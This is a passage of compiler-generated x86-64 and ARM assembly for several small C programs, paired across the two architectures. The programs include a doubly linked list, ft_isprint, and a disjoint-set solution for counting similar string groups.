ldr r3, [fp, #-16]
str r2, [r3]
b .L37
.L36:
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
ldr r2, [fp, #-8]
ldr r2, [r2, #4]
str r2, [r3, #4]
.L37:
ldr r0, [fp, #-8]
bl free
mov r3, #0
b .L38
.L33:
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
str r3, [fp, #-8]
.L32:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L39
mov r3, #1
.L38:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size remove_first, .-remove_first
.align 2
.global remove_last
.syntax unified
.arm
.fpu softvfp
.type remove_last, %function
remove_last:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
ldr r3, [r3, #4]
str r3, [fp, #-8]
b .L41
.L48:
ldr r3, [fp, #-8]
ldr r3, [r3]
ldr r2, [fp, #-20]
cmp r2, r3
bne .L42
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
cmp r3, #0
bne .L43
ldr r3, [fp, #-8]
ldr r2, [r3, #4]
ldr r3, [fp, #-16]
str r2, [r3]
b .L44
.L43:
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
ldr r2, [fp, #-8]
ldr r2, [r2, #4]
str r2, [r3, #4]
.L44:
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
cmp r3, #0
bne .L45
ldr r3, [fp, #-8]
ldr r2, [r3, #8]
ldr r3, [fp, #-16]
str r2, [r3, #4]
b .L46
.L45:
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
ldr r2, [fp, #-8]
ldr r2, [r2, #8]
str r2, [r3, #8]
.L46:
ldr r0, [fp, #-8]
bl free
mov r3, #0
b .L47
.L42:
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
str r3, [fp, #-8]
.L41:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L48
mov r3, #1
.L47:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size remove_last, .-remove_last
.section .rodata
.align 2
.LC0:
.ascii "%i \000"
.text
.align 2
.global print
.syntax unified
.arm
.fpu softvfp
.type print, %function
print:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
b .L50
.L51:
ldr r3, [fp, #-8]
ldr r3, [r3]
mov r1, r3
ldr r0, .L52
bl printf
ldr r3, [fp, #-8]
ldr r3, [r3, #4]
str r3, [fp, #-8]
.L50:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L51
mov r0, #10
bl putchar
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L53:
.align 2
.L52:
.word .LC0
.size print, .-print
.align 2
.global print_invers
.syntax unified
.arm
.fpu softvfp
.type print_invers, %function
print_invers:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r3, [fp, #-16]
ldr r3, [r3, #4]
str r3, [fp, #-8]
b .L55
.L56:
ldr r3, [fp, #-8]
ldr r3, [r3]
mov r1, r3
ldr r0, .L57
bl printf
ldr r3, [fp, #-8]
ldr r3, [r3, #8]
str r3, [fp, #-8]
.L55:
ldr r3, [fp, #-8]
cmp r3, #0
bne .L56
mov r0, #10
bl putchar
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L58:
.align 2
.L57:
.word .LC0
.size print_invers, .-print_invers
.section .rodata
.align 2
.LC1:
.ascii "%i\000"
.align 2
.LC2:
.ascii "%i %i\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 88
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #88
ldr r3, .L68
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #88
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
sub r3, fp, #16
mov r0, r3
bl init
mov r3, #0
str r3, [fp, #-36]
b .L60
.L61:
sub r3, fp, #84
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
ldr r2, [fp, #-84]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl push_back
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L60:
ldr r3, [fp, #-88]
ldr r2, [fp, #-36]
cmp r2, r3
blt .L61
sub r3, fp, #16
mov r0, r3
bl print
sub r3, fp, #80
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
sub r3, fp, #76
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
sub r3, fp, #72
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
ldr r2, [fp, #-80]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl find
mov r3, r0
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r1, r3
ldr r0, .L68+8
bl printf
ldr r2, [fp, #-76]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl find
mov r3, r0
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r1, r3
ldr r0, .L68+8
bl printf
ldr r2, [fp, #-72]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl find
mov r3, r0
cmp r3, #0
movne r3, #1
moveq r3, #0
and r3, r3, #255
mov r1, r3
ldr r0, .L68+8
bl printf
sub r3, fp, #68
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
ldr r2, [fp, #-68]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl push_back
sub r3, fp, #16
mov r0, r3
bl print_invers
sub r3, fp, #64
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
ldr r2, [fp, #-64]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl push_front
sub r3, fp, #16
mov r0, r3
bl print
sub r2, fp, #56
sub r3, fp, #60
mov r1, r3
ldr r0, .L68+12
bl __isoc99_scanf
ldr r3, [fp, #-16]
str r3, [fp, #-32]
mov r3, #1
str r3, [fp, #-28]
b .L62
.L63:
ldr r3, [fp, #-32]
ldr r3, [r3, #4]
str r3, [fp, #-32]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L62:
ldr r3, [fp, #-60]
ldr r2, [fp, #-28]
cmp r2, r3
blt .L63
ldr r2, [fp, #-56]
sub r3, fp, #16
ldr r1, [fp, #-32]
mov r0, r3
bl insert_after
sub r3, fp, #16
mov r0, r3
bl print_invers
sub r2, fp, #48
sub r3, fp, #52
mov r1, r3
ldr r0, .L68+12
bl __isoc99_scanf
ldr r3, [fp, #-16]
str r3, [fp, #-24]
mov r3, #1
str r3, [fp, #-20]
b .L64
.L65:
ldr r3, [fp, #-24]
ldr r3, [r3, #4]
str r3, [fp, #-24]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L64:
ldr r3, [fp, #-52]
ldr r2, [fp, #-20]
cmp r2, r3
blt .L65
ldr r2, [fp, #-48]
sub r3, fp, #16
ldr r1, [fp, #-24]
mov r0, r3
bl insert_before
sub r3, fp, #16
mov r0, r3
bl print
sub r3, fp, #44
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
ldr r2, [fp, #-44]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl remove_first
sub r3, fp, #16
mov r0, r3
bl print_invers
sub r3, fp, #40
mov r1, r3
ldr r0, .L68+4
bl __isoc99_scanf
ldr r2, [fp, #-40]
sub r3, fp, #16
mov r1, r2
mov r0, r3
bl remove_last
sub r3, fp, #16
mov r0, r3
bl print
sub r3, fp, #16
mov r0, r3
bl clean
mov r3, #0
ldr r2, .L68
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L67
bl __stack_chk_fail
.L67:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L69:
.align 2
.L68:
.word .LC3
.word .LC1
.word .LC0
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "602501.c"
.intel_syntax noprefix
.text
.data
.align 4
.type ibt15, @object
.size ibt15, 4
ibt15:
.byte 11
.byte 1
.value 15266
.text
.globl test
.type test, @function
test:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, DWORD PTR ibt15[rip]
mov edi, eax
call callee_ibt0f@PLT
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size test, .-test
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "602501.c"
.text
.data
.align 2
.type ibt15, %object
.size ibt15, 4
ibt15:
.byte 11
.byte 1
.short 15266
.text
.align 2
.global test
.syntax unified
.arm
.fpu softvfp
.type test, %function
test:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r3, .L2
ldr r0, [r3]
bl callee_ibt0f
nop
pop {fp, pc}
.L3:
.align 2
.L2:
.word ibt15
.size test, .-test
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "442753.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "442753.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "979239.c"
.intel_syntax noprefix
.text
.globl ft_isprint
.type ft_isprint, @function
ft_isprint:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
cmp DWORD PTR -4[rbp], 31
jle .L2
cmp DWORD PTR -4[rbp], 126
jg .L2
mov eax, 1
jmp .L4
.L2:
mov eax, 0
.L4:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ft_isprint, .-ft_isprint
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "979239.c"
.text
.align 2
.global ft_isprint
.syntax unified
.arm
.fpu softvfp
.type ft_isprint, %function
ft_isprint:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #31
ble .L2
ldr r3, [fp, #-8]
cmp r3, #126
bgt .L2
mov r3, #1
b .L4
.L2:
mov r3, #0
.L4:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size ft_isprint, .-ft_isprint
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "782320.c"
.intel_syntax noprefix
.text
.globl restart
.type restart, @function
restart:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size restart, .-restart
.section .rodata
.LC0:
.string "[ OK ] %s\n"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov eax, 0
call test@PLT
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "782320.c"
.text
.align 2
.global restart
.syntax unified
.arm
.fpu softvfp
.type restart, %function
restart:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size restart, .-restart
.section .rodata
.align 2
.LC0:
.ascii "[ OK ] %s\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
bl test
ldr r3, [fp, #-20]
ldr r3, [r3]
str r3, [fp, #-8]
ldr r1, [fp, #-8]
ldr r0, .L3
bl printf
mov r0, #0
bl exit
.L4:
.align 2
.L3:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "762666.c"
.intel_syntax noprefix
.text
.globl dsu_init
.type dsu_init, @function
dsu_init:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov edi, 16
call malloc@PLT
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 2
mov rdi, rax
call malloc@PLT
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -8[rbp]
mov edx, DWORD PTR -20[rbp]
mov DWORD PTR 8[rax], edx
mov DWORD PTR -12[rbp], 0
jmp .L2
.L3:
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 2
add rdx, rax
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR [rdx], eax
add DWORD PTR -12[rbp], 1
.L2:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -20[rbp]
jl .L3
mov rax, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size dsu_init, .-dsu_init
.globl dsu_release
.type dsu_release, @function
dsu_release:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
cmp QWORD PTR -8[rbp], 0
je .L8
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
test rax, rax
je .L7
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR [rax]
mov rdi, rax
call free@PLT
.L7:
mov rax, QWORD PTR -8[rbp]
mov rdi, rax
call free@PLT
.L8:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size dsu_release, .-dsu_release
.globl dsu_find
.type dsu_find, @function
dsu_find:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 24
.cfi_offset 3, -24
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
add rax, rdx
mov eax, DWORD PTR [rax]
cmp DWORD PTR -28[rbp], eax
je .L10
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
add rax, rdx
mov edx, DWORD PTR [rax]
mov rax, QWORD PTR -24[rbp]
mov rcx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
lea rbx, [rcx+rax]
mov rax, QWORD PTR -24[rbp]
mov esi, edx
mov rdi, rax
call dsu_find
mov DWORD PTR [rbx], eax
.L10:
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 2
add rax, rdx
mov eax, DWORD PTR [rax]
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size dsu_find, .-dsu_find
.globl dsu_union
.type dsu_union, @function
dsu_union:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov DWORD PTR -32[rbp], edx
mov edx, DWORD PTR -28[rbp]
mov rax, QWORD PTR -24[rbp]
mov esi, edx
mov rdi, rax
call dsu_find
mov DWORD PTR -8[rbp], eax
mov edx, DWORD PTR -32[rbp]
mov rax, QWORD PTR -24[rbp]
mov esi, edx
mov rdi, rax
call dsu_find
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -4[rbp]
jne .L13
mov eax, 0
jmp .L14
.L13:
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR 8[rax]
lea edx, -1[rax]
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR 8[rax], edx
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 2
add rdx, rax
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR [rdx], eax
mov eax, 1
.L14:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size dsu_union, .-dsu_union
.globl strDiff
.type strDiff, @function
strDiff:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -4[rbp], 0
jmp .L16
.L18:
mov rax, QWORD PTR -24[rbp]
movzx edx, BYTE PTR [rax]
mov rax, QWORD PTR -32[rbp]
movzx eax, BYTE PTR [rax]
cmp dl, al
je .L17
add DWORD PTR -4[rbp], 1
.L17:
add QWORD PTR -24[rbp], 1
add QWORD PTR -32[rbp], 1
.L16:
mov rax, QWORD PTR -24[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L18
cmp DWORD PTR -4[rbp], 0
je .L19
cmp DWORD PTR -4[rbp], 2
jne .L20
.L19:
mov eax, 1
jmp .L21
.L20:
mov eax, 0
.L21:
and eax, 1
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size strDiff, .-strDiff
.globl numSimilarGroups
.type numSimilarGroups, @function
numSimilarGroups:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
mov eax, DWORD PTR -28[rbp]
mov edi, eax
call dsu_init
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -16[rbp], 0
jmp .L24
.L28:
mov eax, DWORD PTR -16[rbp]
add eax, 1
mov DWORD PTR -12[rbp], eax
jmp .L25
.L27:
mov eax, DWORD PTR -12[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov rdx, QWORD PTR [rax]
mov eax, DWORD PTR -16[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -24[rbp]
add rax, rcx
mov rax, QWORD PTR [rax]
mov rsi, rdx
mov rdi, rax
call strDiff
test al, al
je .L26
mov edx, DWORD PTR -12[rbp]
mov ecx, DWORD PTR -16[rbp]
mov rax, QWORD PTR -8[rbp]
mov esi, ecx
mov rdi, rax
call dsu_union
.L26:
add DWORD PTR -12[rbp], 1
.L25:
mov eax, DWORD PTR -12[rbp]
cmp eax, DWORD PTR -28[rbp]
jl .L27
add DWORD PTR -16[rbp], 1
.L24:
mov eax, DWORD PTR -28[rbp]
sub eax, 1
cmp DWORD PTR -16[rbp], eax
jl .L28
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR 8[rax]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size numSimilarGroups, .-numSimilarGroups
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "762666.c"
.text
.align 2
.global dsu_init
.syntax unified
.arm
.fpu softvfp
.type dsu_init, %function
dsu_init:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
mov r0, #8
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-16]
lsl r3, r3, #2
mov r0, r3
bl malloc
mov r3, r0
mov r2, r3
ldr r3, [fp, #-8]
str r2, [r3]
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
str r2, [r3, #4]
mov r3, #0
str r3, [fp, #-12]
b .L2
.L3:
ldr r3, [fp, #-8]
ldr r2, [r3]
ldr r3, [fp, #-12]
lsl r3, r3, #2
add r3, r2, r3
ldr r2, [fp, #-12]
str r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r2, [fp, #-12]
ldr r3, [fp, #-16]
cmp r2, r3
blt .L3
ldr r3, [fp, #-8]
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size dsu_init, .-dsu_init
.align 2
.global dsu_release
.syntax unified
.arm
.fpu softvfp
.type dsu_release, %function
dsu_release:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
beq .L8
ldr r3, [fp, #-8]
ldr r3, [r3]
cmp r3, #0
beq .L7
ldr r3, [fp, #-8]
ldr r3, [r3]
mov r0, r3
bl free
.L7:
ldr r0, [fp, #-8]
bl free
.L8:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size dsu_release, .-dsu_release
.align 2
.global dsu_find
.syntax unified
.arm
.fpu softvfp
.type dsu_find, %function
dsu_find:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #12
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-20]
lsl r3, r3, #2
add r3, r2, r3
ldr r3, [r3]
ldr r2, [fp, #-20]
cmp r2, r3
beq .L10
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-20]
lsl r3, r3, #2
add r3, r2, r3
ldr r1, [r3]
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-20]
lsl r3, r3, #2
add r4, r2, r3
ldr r0, [fp, #-16]
bl dsu_find
mov r3, r0
str r3, [r4]
.L10:
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-20]
lsl r3, r3, #2
add r3, r2, r3
ldr r3, [r3]
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.size dsu_find, .-dsu_find
.align 2
.global dsu_union
.syntax unified
.arm
.fpu softvfp
.type dsu_union, %function
dsu_union:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r1, [fp, #-20]
ldr r0, [fp, #-16]
bl dsu_find
str r0, [fp, #-12]
ldr r1, [fp, #-24]
ldr r0, [fp, #-16]
bl dsu_find
str r0, [fp, #-8]
ldr r2, [fp, #-12]
ldr r3, [fp, #-8]
cmp r2, r3
bne .L13
mov r3, #0
b .L14
.L13:
ldr r3, [fp, #-16]
ldr r3, [r3, #4]
sub r2, r3, #1
ldr r3, [fp, #-16]
str r2, [r3, #4]
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-8]
lsl r3, r3, #2
add r3, r2, r3
ldr r2, [fp, #-12]
str r2, [r3]
mov r3, #1
.L14:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size dsu_union, .-dsu_union
.align 2
.global strDiff
.syntax unified
.arm
.fpu softvfp
.type strDiff, %function
strDiff:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
b .L16
.L18:
ldr r3, [fp, #-16]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-20]
ldrb r3, [r3] @ zero_extendqisi2
cmp r2, r3
beq .L17
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L17:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L16:
ldr r3, [fp, #-16]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L18
ldr r3, [fp, #-8]
cmp r3, #0
beq .L19
ldr r3, [fp, #-8]
cmp r3, #2
bne .L20
.L19:
mov r3, #1
b .L21
.L20:
mov r3, #0
.L21:
and r3, r3, #1
and r3, r3, #255
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size strDiff, .-strDiff
.align 2
.global numSimilarGroups
.syntax unified
.arm
.fpu softvfp
.type numSimilarGroups, %function
numSimilarGroups:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r0, [fp, #-28]
bl dsu_init
str r0, [fp, #-8]
mov r3, #0
str r3, [fp, #-16]
b .L24
.L28:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-12]
b .L25
.L27:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r0, [r3]
ldr r3, [fp, #-12]
